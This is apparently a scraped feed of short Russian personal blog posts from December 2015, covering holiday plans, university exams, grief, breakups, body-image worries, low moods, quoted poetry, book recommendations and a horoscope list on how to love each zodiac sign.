Розовое очень-очень яркий неон (тут не видно), да и оранжевое тоже яркое.

платье для новогодней университетской тусовки если что

Неужели я дожила до этого дня! Наконец-то отдых! Уже сегодня успели покататься с родными на машине, поорать песенки и потанцевать. Я не помню себя более счастливой, чем я есть сейчас. У меня есть всё, хотя многие так не считают, но, мне плевать на этих многих, я точно знаю, что мне нужно для счастья на данном этапе жизни, и у меня это точно есть. У меня куча планов на этот отдых, у меня куча идей, как и с кем его провести. Я люблю свою жизнь, люблю всё то, что в ней есть сейчас, люблю себя и своих людей. У меня на пороге волшебное Рождество, которое я так люблю. Всех с Наступающим, а кого-то, может, уже и с Наступившим: * Любите свою жизнь и наслаждайтеь моментом, несмотря ни на что.

Заверните мне его, пожалуйста.

ну позязяяяя

У меня такое ощущение, что моя жизнь за эти 100 дней в корне изменится. Она уже меняется. Сегодня нормально питалась, не объедалась) и думаю буду весить нормально и выглядеть хорошо завтра) закрыла все зачёты! И реально отдохнула..) я дома с 17.00! Успела и ванну принять, и сделать маску для волос, и нарядить ёлку и повестить фонарики на окно, и обсудить с мамой вопросы моих шапочек. Она согласна! На выходных и завтра в дороге пишу БП. Пишу цель, пишу мелкие цели к ней. Разбиваю все досканально. Изучаю материалы, мех и далее, советуюсь с сестрой. И готовим зимнюю коллекцию головных уборов!)) первых такой опыт будет, безумно хочу. И мне начинает нравится моя фигура постепенно, что тоже редко для меня. И волосы, они уже довольно длинные. Это все кайф. Не читала сегодня только.

Я только ною. У меня сил нет. Руки опустились. Физика, матан, инжграф, идите нахуй. Я ничего не хочу.

и я перестану, наконец, перебирать слова, что впиваются между ребер.

Спойлеры не страшны теперь мне.

Почему так много красивых девушек? И почему во мне нет хоть капельки этой красоты?

Меня называют анорексичкой. Мальчики обхватывают мои запястья большим и указательным пальцами руки и ругаются: "Настя, что это за херня?". Они так же ругают меня за мои худые ноги. А я всё ещё не считаю, что достаточно хороша и худа. Я не могу надевать обтягивающие платья, с отвращением каждое утро смотрю на себя в джинсах. Я не переношу свой внешний вид, мне кажется, что я отвратительна.

Что есть счастье? На эту тему я думала, кажется, всю свою сознательную жизнь. Конечно же, у каждого человека своё определение счастья. Для кого-то счастье - это богатство, огромные виллы на островах. Но есть и такие люди, которым достаточно одной скромной комнатушки и мелочи в кармане. Однако если копнуть глубже, то счастье для всех одно. Счастье - это когда твои близкие живы, здоровы и находятся рядом с тобой. Все остальное - это лишь второстепенное явление, которое может уйти так же, как и пришло. Цените и любите своих близких. Они единственные, кто всегда будет с вами, поддержит вас, поможет советом и никогда не бросит.

Остался один зачет и экзамен, надеюсь, хоть в последнем семестре своей учебы буду получать стипендию :D

С Р у нас все хорошо, я этому очень рада. НГ встречаем вместе. В субботу едем с ним и его мамой по магазинам. Охх, хоть бы 2016 год был действительно хорошим…

Стараюсь подбирать подарки с душой, даже если это будет что-то маленькое, но зато интересное, конечно не всегда получается так, в силу разных обстоятельств, а так хочется дарить то, что порадовало бы человека. Так хочется делать близким приятное!

сегодня 25 декабря 2015 года

и два года прочти прошло с прошлого поста

быстро время пролетело. и сейчас уже и не сказать, к лучшему это, или к худшему

столько вещей мне бы хотелось поменять, сделать по-другому, кого-то предостеречь от чего-то, кого-то уберечь

что у меня осталось? воспоминания. воспоминания о Ване, о Игоре, о Карине

о людях, которых я любила, которые любили меня, но с которыми мы разошлись по разным причинам

Игорь…кажется, всё плохое всегда возвращается, и сейчас я это осознаю. предала, променяла, нашла замену. а к чему пришла? к пустоте. причинила человеку столько боли и ушла. зачем я это делаю? почему? этот грёбаный вопрос я задаю себе день ото дня

Ваня… гордость, амбиции, самооценка, унижение, оскорбление. всё это было. столько хороших и нехороших моментов, которые бы я не хотела забыть, но стараюсь не вспоминать. потому что больно. и тут парадокс. больно? мне? человеку, которому всю жизнь всё равно вдруг стало больно? забавно

Карина

мы дружили 10 лет

мы знали друг друга с самого детства

мы были вместе всю жизнь

мы обнимали друг друга

засыпали вместе

нам было хорошо

а сейчас этого нет. из-за этого урода, который почему-то решил, что может решать, кому жить, а кому нет, ТЕБЯ БОЛЬШЕ НЕТ

моей маленькой Кариночки, которая всегда была как ребенок. моего близкого человека, с которым я могла поделиться любой проблемой

c человеком, с которым связано столько воспоминаний: как мы сидели вдвоём у камина, разговаривали обо всякой ерунде и никто нам был не нужен. как я засыпала, а ты заботливо накрывала меня одеялом. как мы открывали все окна нараспашку, мерзли вдвоём, а потом всю ночь молча пили кофе.

возможно ли это как-то забыть?

что мне нужно делать теперь?

всё, что я могу, это приходить к тебе на могилу и класть цветы?

не так всё должно было быть.

мы должны быть вместе. всегда.

и я верю, что сейчас ты со мной. хотя бы в мыслях.

прости меня, я не уберегла, не спасла, не предостерегла

п р о с т и

любовь моя, я тебя не забыла. я вспоминаю всё чаще и чаще. моя дорогая Анна Монтез.

вообще хрен пойми, каким образом я вспомнил про свой старый фанфик. я его давно поудалял везде, но слава Мерлину, сдержался, и не избавился от вордовских документов. и хоть всё это невовремя, я понимаю, что история действительно была хорошая, она мне очень нравилась, а героиню я любил просто до безумия.

я думал об этом ещё несколько лет назад, но теперь уверен в ней. исправлю всё, и сделаю как надо. вернусь в прошлое, вместе с Анной, и сделаю историю такой, какой она должна была быть. 約束します.

Не знаю зачем. Но я хочу рассказать. Существует Андрей. Просто Андрей. Мы вместе ходим на курсы чешского. Вернее вместе оттуда уходим. Началось все одним октябрьским днем, когда он пришел в нашу группу. В данный момент нас шестеро. И одна я девушка среди них, что очень непривычно для меня. Так как меня всегда окружали лица моего пола. Так получилось, что путь домой у меня и Андрея в одной стороне. А остальным надо дорогу переходить.

Объяснять, я думаю, ничего не надо. Где-то с ноября мы начали вместе идти до трамвая. Оказывается, он живет совсем близко от меня! 2 раза в неделю мы так проводим время вместе. А сейчас еще иногда по пятницам прогуливаемся подольше. Только не надо сейчас себе фантазировать ничего романтического. Во-первых, он на 3,5 года младше меня. А, во-вторых, во-первых хD Мне нравится с ним общаться, дружить. У нас с ним странное общение. Основанное на издевках и подколах друг друга.

Я, разумеется, как любая любопытная девушка еще давным-давно нашла его в вк. Но не добавляла в друзья. Ибо - зачем? А во вторник, когда стояли на остановке, он спрашивает, есть ли я там. Я посмеялась с него. Сейчас с ним и там общаемся. Ииии, я не понимаю. Я что, ему нравлюсь? То есть, могу понравиться, как девушка? Ему же 18!

Буду рада выслушать любое ваше мнение!))

Смысл жизни имеет вкус поцелуя.

Помнишь разговоры ночами? Я безумно скучаю.

и где бы она не скиталась, не находилась
и как бы не насмехалась над ней погода,
но у нее была странная необходимость -
увидеть его. хотя бы и раз в полгода.

и с кем бы она в обнимку не просыпалась,
кого бы не называла "своей судьбою",
она без него неистово загибалась.
и ей не хватало сил, чтобы быть собою.

она убегала честно, не без причины.
но каждую встречу, как святость, в себе носила.
искала его оттенки во всех мужчинах…
она никогда не любила его.

…не любила?

У меня есть институтская подруга.
В прошлом году все было более-менее хорошо. Были моменты, когда она меня бесила до беспамятства, но я, конечно же, молчала об этом всем.
Я замечала за ней, что она довольно таки часто копирует меня. Во многом: одежда, поведение, музыка и многое другое. Как то в прошлмо году она сказала мне, что она мне завидует. (Разве в дружбе может быть зависть?) Меня это взбесило, но я забыла про это.
Но этот год просто что-то с чем-то. Она бесит меня так, как никогда меня ещё икто не бесил.
К чему эта напыщенность ? Зачем выебываться?
Ой все. Я жутко начинаю беситься, когда говорю об этом. ПРОСТО БЕСИТ.

этот грязный тяжёлый запах всего прекрасного

Наизнанку)

Закрыла зачетную сессию. Навернула водочки. Благодааать.

я живу в семье, где уже который год есть особенная традиция. когда наступает время ставить новогоднюю елку-наступает время криков, ссор и истерик. где, куда, чем… и все подпитывается простым нежеланием наряжать эту елку и праздника, в принципе. так и живем.

Крайне забавляет, когда колхозные шкуры начинают обсуждать мою тату на пальце Минни Маус, хихикая за моей спиной, видя в ней родненькие херчики. Видимо, так сложно было заработать на айфон, что теперь им везде видится только одно. Хреново, когда ты шлюха, которая в перевёрнутой Минни видит хер.

Воспользуйся белорусским транспортом- испорти себе настроение.

Сегодня я поняла, что скучаю по пьянству, незнакомым людям и головной боли

timbllrrebloggeddoll Source:aureat

сегодня оказалось, что внутри меня нет нового чужого - необъятное счастье.
пойожился - счастье =3

Знаете. Декабрь, вечер. Кино, чай с молоком и печеньем. И лучший во всех мирах мужчина рядом со мной. Любит меня. И взаимно. Я даже представить себе не могла, что жизнь будет счастливой НАСТОЛЬКО. Что радость Нового Года со мной В ПОЛНОЙ МЕРЕ разделит такой родной человек.

Иногда я думаю "Странно… Недавно я его не знала. То есть знала, но… можно сказать, что только в лицо. А теперь вот мы счастливы. Так что не оторвать от друг друга. Странно"

Желаю всем такого "странно" в Новом Году.

Это действительно чудо.

Вышла из поезда, иду к эскалатору, попутно пытаясь найти в телефоне номер, по которому нужно позвонить. Боковым зрением вижу, как рядом пристраивается какой-то мужик. Сначала показалось, что знакомый. Нет. Какой-то левый мужик. "Привет передавай!", - и улыбается. Вышла Даша одна в город без Китти, называется.

© Олег Рой "Заколдованный дуб"

остановись, опусти глаза, навстречу не двигаться, не смотреть, шаг в сторону - шаг назад, шаг в сторону - шаг назад, шаг в сторону, шаг - еще на четверть, на треть

остановись, опусти глаза - предупреждение последнее: стой! - шаг в сторону - шаг назад, шаг в сторону - шаг назад, шаг в сторону…

«Не страшно то, что страна наша в заднице, страшно то, что она начала там обустраиваться.»

— уральский фермер Василий Мельниченко.

вот так заходишь в конце рабочего дня на лентач и сначала громко смеешься, а потом горько плачешь. ведь цены-то на билеты дорожают. как и, в принципе, все в этой стране.

Я проснулся тонущий в боли,
И не мог изменить исход.
Я снаружи казался веселым,
А внутри был давно уже мертв.

Иосиф Бродский

я знаю эти 10 вещей которые я приобрету, как только устроюсь на работу, тут же по одному из них, по чуть-чуть начну осуществелять.

1. Обновить бы машину.. я люблю свою малышку, но уже мечтаю о новенькой…Nissan или Citroen

2. Телефон новый либо Asus либо Sony Experia. может быть Aйфон (но честно я не такая уж их большая поклонница, точнее не настолько им сильно больна. Телефон как телефон.Чего с ума сходить)

3. Билет на море …в качестве отпуска/долгожданного отдыха на тёплом курорте. (скорее бы открыли полёты до Египта.Я соскучилась по Шарму, Аква блю, и Красном морю с красивыми рыбками). Хочу солнечного морского отдыха.

4. Фотоаппарат зеркальный Сanon хочу себе нормальный фотик. И записаться на курсы фотографа и начать нормально фотографировать.Я понимаю, что научится фоткать можно и на обычный, но именно на зеркалку хочется делать это ещё лучше.

5. Обновить кухню..т.е., ремонт

6. Мультиварку

Раньше была противницей, а потом увидела что это за чудо агрегат в действии, и захотела. Особенно с функцией йогрутница у Рэдмондов крутая. (пробовала в гостях все угощения и йогурт от туда - очень вкусно. А мясо - вообщей можно ножом не резать)

7. Блендер.
пока приходится у мамы одалживать. надеюсь, что скоро приобретём. буду делать супчики-пюре, смузи, крема, коктейли и много чего ещё вкусного.

8. Туфли Casadei

особенно в восторге которые продаются в Ранде-Ву шоколадного цвета Х_Х

9. Духи Труссарди Донна

были маленькие, хочу такие большие.обожаю их

10. Браслет Pandora. и пусть этим никого не удивишь, и этой может быть мейнстрим. Но я хочу и всё тут.

— Лиса, я тебя обожаю.

— Я тебя тоже, а есть конкретные причины?

— Не должно быть конкретных причин, чтобы обожать такую лису.

День 76: Что Вы думаете о омоложении? (имеется ввиду пользование косметикой и хирургии ради сокрытия возраста)

Я против хирургии, только если она не нужна по здоровью. Все эти исправления носа, губ, удаление каких-то частей тела - вгоняют в ужас. Косметика - только умеренно. Немного смешно, когда женщины постарше красят губы в ярко-розовый цвет.

Давай просто будем. Не надо обещаний. Не надо ожидать невозможного. Ты будешь у меня, а я - у тебя. Давай просто будем друг у друга. Молча. Тихо. И по-настоящему. © Э. М. Ремарк

Я почему-то вспоминаю ту ночь. Дурацкую ночь, когда он возле окошка аптеки 24 часа было нечто. Когда твой падает головой на бетон и закрывает глаза. Когда подруга кричит, а я поднимаю его. Когда его друзья вступаются за него так яростно, что ты не ожидала. Что ты держишь своего и орешь "Бажан!", кличка этого дикого мальчика. И это какой-то странный вихрь. Когда понимаешь, что в экстренной ситуации ты совсем не о своей заднице думаешь.

Видать со мной ну очень скучно и однотипно, че поделать.

Прошло пол года, а я все еще читая свой гороскоп, просматриваю водолея..

Что самое важное в жизни? Дети.

Сегодня мне приснился сон. Он был настолько реальным, что я не хотела просыпаться. Открыв глаза, я очень растроилась, ведь он никогда не осуществится.

Я сидела на большой кровате в белой комнате, свет был рассеяный и такой мягкий и нежный, все было пропитано спокойствием. Я сидела и гладила свой живот, гладила и улыбалась. Во мне живет жизнь. Я разговаривала с ней. Я знала что скоро увижу свою доченьку. Мою маленькую копию.

Сменился кадр и я всё в той же комнате, кормлю мою принцессу грудью. У неё темные кудрявые волосики и почти черные глаза, самые красивые глаза какие я видела в своей жизни. Они смотрели на меня. Я положила её на кровать и смотрела на неё. Моя маленькая девочка улыбалась сладкими алыми губками. Мой ангел. Я не могла выразить своих чувст к ней. Я целовала каждый миллиметр её крохотного тела.

Были только я и она. Моя малышка. Мне очень хочется чтобы она была живая, а не сном. Я никогда не смогу обнять своего собственного ребёнка. Если бы можно было вернуть все назад. Я бы берегла себя для неё. Вся боль бы прошла, были бы только я и она. Моя принцесса.

Я проснулся тонущий в боли,
И не мог изменить исход.
Я снаружи казался веселым,
А внутри был давно уже мертв.

Иосиф Бродский

Надеюсь, что да.

Уильям Шекспир

СОНЕТ 117

Скажи, что я уплатой пренебрег
За все добро, каким тебе обязан,
Что я забыл заветный твой порог,
С которым всеми узами я связан,

Что я не знал цены твоим часам,
Безжалостно чужим их отдавая,
Что позволял безвестным парусам
Себя нести от милого мне края.

Все преступленья вольности моей
Ты положи с моей любовью рядом,
Представь на строгий суд твоих очей,
Но не казни меня смертельным взглядом.

Я виноват. Но вся моя вина
Покажет, как любовь твоя верна.

Перевод С.Я.Маршака

Какое в жопу может быть новогоднее настроение, если гребанные люди его портят?
1. Чертов Евраз, гори ты в аду.
2. Чертов Универ, сгори нахрен полностью, заколебали ставить пары 30-го и 31-го числа!
3. Гребанный ТНТ, гребанные зрители, которые выбирают дебильных победителей (ничего личного) !
4. Гребанная жизнь, гребанный кризис.
Засуньте себе в жопу этот чертов Новый Год.

Я не особенно разбираюсь в больших вопросах жизни. Мне нравится только прекрасное. Вот ты принёс сирень — и я уже счастлива.

Рост мамы моего друга — 150 см, а отца — 196 см. Каждый раз, когда она злится на него, она берет стул, чтобы кричать ему в лицо. Каждый раз, когда это происходит, он смеется так сильно, что она не может больше злиться. Они говорят, что именно поэтому женаты до сих пор.

Когда была помладше слова "я люблю тебя" слетали с моих губ в адрес каждого встречного. Я действительно была такой, я любила людей, любила друзей, всех парней которые мне нравились я любила. Я не вносила в эти слова какой то ценности. Только на данный момент я понимаю, что людей я люблю лишь некоторых, друзей только проверенных, а из всех парней любила только одного. На протяжении лет 5 я не кому не говорю "я люблю тебя". Я это показываю. Для меня эти слова не значат ровным счётом ничего. Можно говорить эти слова и в тоже время вставлять ножи по всему телу. Мне предпочтительней никогда не слышать этих слов, но зато чувствовать всю эту силу которая может дать только любовь. Я верю в любовь, это самое сильное чувство. Но и оно же должно быть самым тихим.

Сейчас ты прав, но посмотрим, что ты скажешь, когда я буду прокручивать этот разговор перед сном с глуповатой версией тебя.

Я решила поделиться с вами книгами, которые советую прочитать. Разделю их на своеобразные блоки, в которых будет по три книги. Картинки кликабельны. Мой лайвлиб.

Нон-фикшн (нехудожественная литература)

Это три необычные нехудожественные книги, которые затрагивают интересные темы. В первой автор около трехсот страниц посвятит тому, как важно прожить свои 20-30 лет осознанно и на полную катушку; во второй вместе с Гектором вы отправитесь в путешествие в поисках правил счастья; в третьей вам расскажут об ощущениях, которые мы испытываем каждый день, и об их влиянии на нашу жизнь.

Недетские книжки для детей

Странная и жестокая антиутопия, милая и грустная притча, трогательная и добрая книга про любовь и дружбу. Еще одно отличие этих книг - легкость повествования, но на смысловую нагрузку это никак не влияет: книги затрагивают реально существующие в современном мире проблемы.

Бу-у-у!

Три готичные истории с призраками, туманами и загадками. Думаю, что любителям атмосферных книг, эти произведения обязательно понравятся.

Глубины человеческого сознания

Эти книги - озарение после беспробудного забега по чужой жизни. Попытки разобраться в себе и в человеческих отношениях, которые, в принципе, увенчались успехом. Про то, что творится внутри нас.

«не требуй, чтобы кто-то сохранил твою тайну. ты ведь сам ее не сохранил»

жизнь не в радость, все через силу

Когда-то у меня уже был блог, но я не знала что в нём писать и как бы забросила всё это дело. Да и тогда я доверяла своим друзьям, точнее рассказывала абсолютно всё, что творится в моей голове… Сейчас же я так сделать не могу. Начнем с того, что время расставило всё по своим местам и теперь даже "лучшей" подруге я не доверяю все свои мысли.Ну и людей, которым даже 50% своих мыслей и происходящего в моей жизни можно было бы доверить, тоже уже не осталось.Нет, я не стерва и так далее, наоборот по жизни наивная. И вот я вновь завожу блог, только наверное из-за безысходности, потому что рассказать никому рядом не могу, потому что всё полетит дальше по ниточкам, а держать все в себе уже настолько невыносимо, что я схожу с ума честно говоря.

представляешь хотела что-то сказать, и забыла.

У вас бывает депрессивное состояние в конце года? Будто все соки выжаты, все слова сказаны, все дела сделаны. Хочется просто залечь на дно.

Мужик покупает новые джинсы, потому что старые порвались. Женщина покупает новое платье, потому что так в большом и темном мире, полном страхов и тревог, она чувствует немножечко больше света, гармонии и счастья.

"Лакшерить" всё лето, чтоб осенью-зимой сидеть в жопе..

Знаете, какая у меня сейчас крайность? Просыпаться в 4-5 утра, а ложиться спать в 8-9 вечера. Это просто крах.

А ведь я когда-то настолько сильно любила тебя, что себя не видела даже сквозь эту ''любовь''

Весьма грустно проходят мои последние 2-3 недели.

Последний месяц цчебы и надвигающаяся сессия делают декабрь невыносимым, а поездка домой на Новый год более ожидаема, чем любой другой праздник.

Я уже почти месяц ничего не готовлю, поэтому я и мой МЧ вынуждены есть непонятно что, где и как. Завтра очень сложный день у обоих. Мы изо всех сил поддерживаем друг друга, потому что нервы уже на пределе.

Мой мозг вообще уже не способен воспринимать информацию из-за того, что я почти два месяца испытываю что-то вроде бессонницы. К врачу обратиться у меня нет желания, а самолечение не приносит мне никакой пользы.

Самолечение? Черт возьми, ведь я учусь в медецинском! И знаете, чем дальше, тем сильнее мое нежелание вообще обращаться к нашим врачам.

О чем я вообще? Да сама не знаю.

Просто когда нужно заниматься чем-то сложным, я нахожу миллион поводов этого не делать.

Вот и этот случай не является исключением.

Но это не так уж и важно.

hththth

люблю, когда мужики жалуются на бывших, поливая их говном, а через неделю снова ебут своих солнышек

Как объяснить друзьям, которые мне звонят, что в таком состоянии, как я сейчас нахожусь, с одной стороны хочу их увидеть, но с другой не хочу никого видеть (за исключением Китти, он как мой источник жизни..), никуда выходить, спрятавшись в своей "ракушке"?

мне нехорошо

Не знаю надо ли расписывать. Мы расстались по моей инициативе. Он в прямом смысле слова умолял попробовать еще раз. Но я все таки ушла. В этот раз не поддалась своему сомнению (или чувствам?!). Но он звонит, говорит что любит, что хочет встретиться, погулять, поговорить. А о чем говорить? О нас? И опять все выяснять ? Я не хочу. Самое стремное, что я потери не чувствую. Просто нет настроения. К слову, наверное когда во время ссоры начинаются оскорбления, то это финиш. Ну правда, раньше даже и не матерился когда из себя выходил. Сейчас же, любой мой взгляд -это провокация, я довожу его (наверно тем что я вообще есть и не скачу перед ним), начинает орать, в последнее время еще и хватать за руки-плечи, останавливая меня, потому что я разворачиваюсь и ухожу. Люди на улице оборачивались. Мне было так стыдно. Стыдно, что он стал так со мной вести себя. Просто все надоело. Отчитываться за ерунду, выслушивать бредовую ревность к столбу, ущемлять себя во всем. Хочу быть одна и делать то, что я хочу, а не то что хочет кто-то другой.

Мне так хочется побыстрее купить всем подарки, но с другой стороны- нет. Ведь это снова деньги на Диснейленд.. Я опять становлюсь дальше от своей мечты. И мысль об этом вгоняет в меня в сильнейшую депрессию, в которой я и без того нахожусь.

Сегодня очень плохой день. Я наедине со своими мыслями и они ужасны. Мне хочется убежать ото всех, без исключения. Если в ближайшее время не будет никаких перемен, то.. я просто всё пошлю к чертям и точно куда-нибудь свалю. Нынешняя ситуация меня просто убивает. Я не чувствую, что живу. Я есть, но вроде как меня и нет. Словно пустая оболочка, в которой остаётся всё меньше чего-то положительного, тёплого.

happy 24 B-day my lovely Tommo*__*

Привет, вьюи! Давно личных постов не писала, однако (а руки так и тянутся, ага). Много всего накопилось, но текста будет по минимуму (минимуму-минимуму-ми-ни-му-му.крутое слово же. будто распевка в младших классах на уроках пения, помните такое? или нас одних мычать заставляли ахах), постараюсь побольше фотографий прикрепить, ибо книжки надо читать, а не моё вот это вот всё :D

Мы уже давно нарядили елку, но она у нас пока без гирлянды,
потому что сестра обещала подарить нам её на нг)

Что еще из нового? Создала группу вк с фотографиями, пригласила друзей и всё на этом. Красноярск, никого поснимать не надо? Могу за вкусняшку :D
Из последнего - фотографировала сестру:

Живем мы нынче на 14том этаже, поэтому по утрам у меня систематически происходит залипание в окно :D Вот не знаю почему. Просто могу с минуту простоять так, ни о чем не думая. И мне это нравится)

В универ хожу пешком, что меня тоже очень радует (если я не опаздываю), потому что тоже есть на что посмотреть, особенно когда снег идет. Смотришь на вроде бы простые повседневные вещи, но замечаешь всю красоту, всю необычность, какие-то новые детали.. лично для меня это важно - замечаешь красоту в мелочах.. Я всякий раз любуюсь природой. Хоть и иду на учебу, но и мысли всегда светлые при этом, хах)

В последнее время любим себя побаловать вкусненьким) Кстати, подсела на суши: (а ведь раньше вообще не любила их, мда

Так что да, есть за мной такой косяк - люблю вкусно покушать (актонелюбит). Поэтому предпочитаю потратить последние деньги на вкусняху, нежели на себя)

Не так давно моя хорошая знакомая наконец-таки привела мои ногти в порядок, а то самой страшно смотреть уже было. Красноярск, обращайтесь - 300рублей с выездом на дом)

6 декабря у моего мужчины был день рождения. Я как всегда, кароч: давай всех позовем, давай салатики вкусные сделаем, а помоги мне платье выбрать, а как думаешь, лак для ногтей этот или тот, а как, а то.. Бедный зая) Наверное, это связано с тем, что всегда свой др хотела отметить в кругу друзей которыхнет. Было здорово) Шутки, разговоры, музыка - всё как я когда-то мечтала) А потом еще и гулять пошли и на санках кататься ахах) Так что я довольна, что уговорила своего отмечать 20тилетие)

А еще зая купил мозаику, весь декабрь собираем уже, ленивые задницы:

Вот вроде бы и все) Про учебу могу сказать только то, что зачеты все получила, осталось 3 экзамена, но это уже в следующем году, так что беспокоиться пока рано)

Надеюсь, было интересно:3

Нытье - базовая человеческая потребность, как еда, сон и секс. Во-первых, я на диете, во-вторых хуй я сплю тк закрываю долги по учебе, в-третьих я не трахаюсь. Так что я себе не враг и лишать себя последнего удовольстия не собираюсь. Если мне плохо - мне плохо и нихуя я вам не должна улыбаться и делать вид что все хорошо.

Каждую ночь снятся сны, когда дурацкие, когда страшные, когда приятные. Сегодня, например, каким-то чудом моё сочинение от 2 декабря оказалось в Санкт-Петербурге. Мой классный руководитель говорит: "А твоё сочинение-то уже в Петербурге. Я тебе за него поставила 4, во Владивостоке один проверяющий 4, а другой 5, если в Петербурге поставят 5, то тебя возьмут в любое высшее учебное заведение. А я чувствую, что 5 тебе поставят". Я просто кивнула в ответ, особо внимания на её слова не обращая, а потом до меня дошло, что моё сочинение в САНКТ-ПЕТЕРБУРГЕ, чёрт возьми! Я ей: "Серьёзно? ТАМ?", а она лишь мне с сияющим лицом кивает, крепко обнимая минут на пять. Начиталась всяких статей в интернете по психологии, где рассказывается, что человек запоминает сны тогда, когда всё носит, копит в себе, ничем ни с кем не делясь. Если честно, то не понимаю прикола вываливать свои проблемы на кого-то. Приходит человек после удачного и радостного дня, а тут твоё нытьё.

Близнецы: Будьте терпимы к тому, как они отвлекаются, всегда уделяйте время для действительно большого разговора, и будьте понимающим в то время, когда у них резко меняется настроение. Помогите им обезопасить себя, скажите им, что это не их работа угождать всем и спрашивать у кого как прошёл день. Оставляйте их иногда одних, но не позволяйте им быть одинокими.

не знаю как там это все определяется, но мне это полностью подходит. пожалуйста, пусть все услышат и узнают как любить близнецов. примут это, умоляю!!!

полный пост у lovesummerandwinter

я немножко обнаглела и украла часть.

На моей ладони написано - Хаос.

Артюр Рембо

Перестань «отжимать» ответы прямо сейчас. Позволь всему отдохнуть, возьми священную паузу. Разреши сегодня вопросам оставаться без ответов. Позволь себе сегодня просто дышать. Разреши на данный момент всему выйти из-под контроля. Позволь себе не держаться за это. Позволь себе сегодня не знать, как и что делать, не знать ничего вообще.
Разреши телу - болеть, сердцу - взорваться, если это необходимо, душе – проснуться… Все так хорошо происходит, когда ты начинаешь осознавать это.

Как часто вы чувствуете себе лишними в кругу людей, которых познакомили и настояли на их общении вы? Такое впервые. И я не знаю, что делать с этим.. Каждый день все хуже и реже я чувствую себя собой Я не знаю, что делать. Что говорить, как себя вести. Сказать это, собрав вместе? Или же по отдельности. А може вы со мной разные, а друг другу подходите ? Общение нелепое.

не могу сказать, что больше тебя не люблю.
но я лгал, когда говорил, что никому тебя не отдам.
я всё-таки отдаю тебя этому декабрю.

прошу,
навсегда оставайся там.

Сколько всего рушат деньги и как же много из-за них проблем, чёрт побери.

Привет!

Все время занята, но пока дома напишу как я там

★ Заболела и выздоровела за четыре дня. Нет времени болеть, но сил быть здоровой тоже нет. Выжимаю из себя последнее

★ Получила первый заказ. Куча футболок (Даня все таки купил мне футболочку с Далеком!! ейей. Но не отдает мне её до нового года: с), консиллер, который просто мечта, штучки для дома и бижутерия. Осталась обувь и шапки

★ Взялась за институтский КВН, о чем пожалела уже триста раз. Худ. рук только мешает и мы вечно сремся, а результата ноль.

★ По учёбе пока что все успеваю, робко надеюсь на стипендию

★ К Новому Году ничего не готово, еда не куплена, фильмы не скачаны, только подарки запаковали. Времени абсолютно нет. Жду уже этих пять дней "каникул" как манны небесной.Хоть высплюсь

Короче, все мутно и грустно. Вот вам картиночек красивых из инстаграма

—Пап? Папа, вставай. Ну вставай же! Идем домой…

Нет ничего уебищней случайных встреч с людьми, которых не планировал встречать до конца жизни.

Харуки Мураками

Эрих Мария Ремарк

Как любить знаков:

Овен: Дайте им достаточно уверенности, даже если они ведут себя так, как будто им это не нужно. Сделайте себе заметку вежливо вмешиваться в их дела, даже если они говорят, что не хотят говорить об этом. Всегда помните, что у Овнов есть чувствительная сторона, хоть её и не видно. Поощряйте их мечты, берите их с собой на приключения, и никогда не воспринимайте их романтические и рыцарские поступки как должное

Телец: Будьте верным и преданным, покажите им, что вы не сдадитесь без боя. Позвольте им выиграть спор сейчас и потом, чтобы сохранить мир. Никогда не обещайте то, что вы не сможете сдержать, покажите им, что ваши слова имеют силу, будьте надёжным человеком. Поощряйте их выражать своё недовольство, протиснитесь в их зону комфорта, уважайте их мнение, даже когда вы не согласны с ними.

Близнецы: Будьте терпимы к тому, как они отвлекаются, всегда уделяйте время для действительно большого разговора, и будьте понимающим в то время, когда у них резко меняется настроение. Помогите им обезопасить себя, скажите им, что это не их работа угождать всем и спрашивать у кого как прошёл день. Оставляйте их иногда одних, но не позволяйте им быть одинокими.

Рак: Выслушайте все истории их прошлого, но будьте терпеливы, когда они не хотят их рассказывать. Говорите правду и не обманывайте, пригласите их на романтическое свидание, говорите им приятные вещи. Покажите им оптимистическую сторону, никогда не останавливайтесь на их недостатках. Подарите им такую же верность, какую они отдают вам, останьтесь надолго, не бегите, когда становиться трудно.

Лев: Соберите их хрупкое эго, гордитесь тем, чего они достигли, будьте частью их грандиозных грёз. Настройтесь на их более мягкую и чувствительную сторону, и позвольте им блистать. Никогда не кричите на них в общественных местах, дайте им время остыть, когда они расстроены. Интересуйтесь тем, что они чувствуют, и не поддавайтесь, когда они говорят, что они в порядке, хотя вы знаете, что это не так.

Дева: Уважайте их личное пространство, помогите им успокоится, когда они встревожены. И даже если вы считаете, что это глупо, всё равно позвольте им делать что-либо по-своему. Цените их услужливость, подарите им такую же верность, какую они отдают вам и не торопите их; дайте им время продумать всё. Будьте чутким и понимающим, позвольте им раскрываться медленно и двигаться в своём темпе.

Весы: Балуйте их романтическую сторону, выходите с ними на природу, наслаждайтесь простыми вещами жизни. Напишите им любовное письмо, углубитесь в обсуждение чего-либо, поддерживайте их решения и придайте им уверенности. Обращайтесь с ними так, как вы хотите, чтобы они обращались с вами, не будьте слишком критичны, примите их такими, какие они есть. Будьте открыты к их безумным планам и открыто обменивайтесь идеями.

Скорпион: Защищайте их и хвалите их публично, окажите им маленькие услуги, которые облегчат им жизнь, и всегда старайтесь проявить инициативу и предосторожность. Не давите на них, если они говорят, что им нужно личное пространство, и будьте всегда рядом с ними, когда они нуждаются. Поощряйте их выражать самих себя и не держать чувства в себе, НИКОГДА не предавайте их доверие. Никому не рассказывайте их секреты.

Стрелец: Будьте их партнёром в преступлении, позвольте им исследовать всё. Не пытайтесь ограничить их, позвольте им заговариваться о своих мыслях и идеях, всегда будьте с ними честны. Не пытайтесь очернить их оптимизм, подтолкните их потрудиться, чтобы они достигли своей мечты. Веселите их, будьте спонтанным, примите их причуды и будьте открыты к их нетрадиционному способу восприятия вещей.

Козерог: Будьте надёжным, стойким, и никогда не ведите себя странно. Не позволяйте им уйти, не поговорив о том, как они себя чувствуют, побудите их почаще выражать свои эмоции. Будьте их самым большим сторонником, когда дело доходить до их целей, будьте уверенны, они выделят время для веселья, они не всегда работают. Часто оставляйте их одних, помогайте им снимать стресс и расслабляться.

Водолей: Выслушивайте их советы, позвольте им поговорить о своих интересах, будьте готовы к спонтанным приключениям точно так же, как и к уютным ночам дома. Спорьте с ними, разбирайтесь в том, что им нравится, заведите общее хобби. Уважайте их личное пространство, позвольте им быть чуть независимыми. Превыше всего-будьте их лучшим другом.

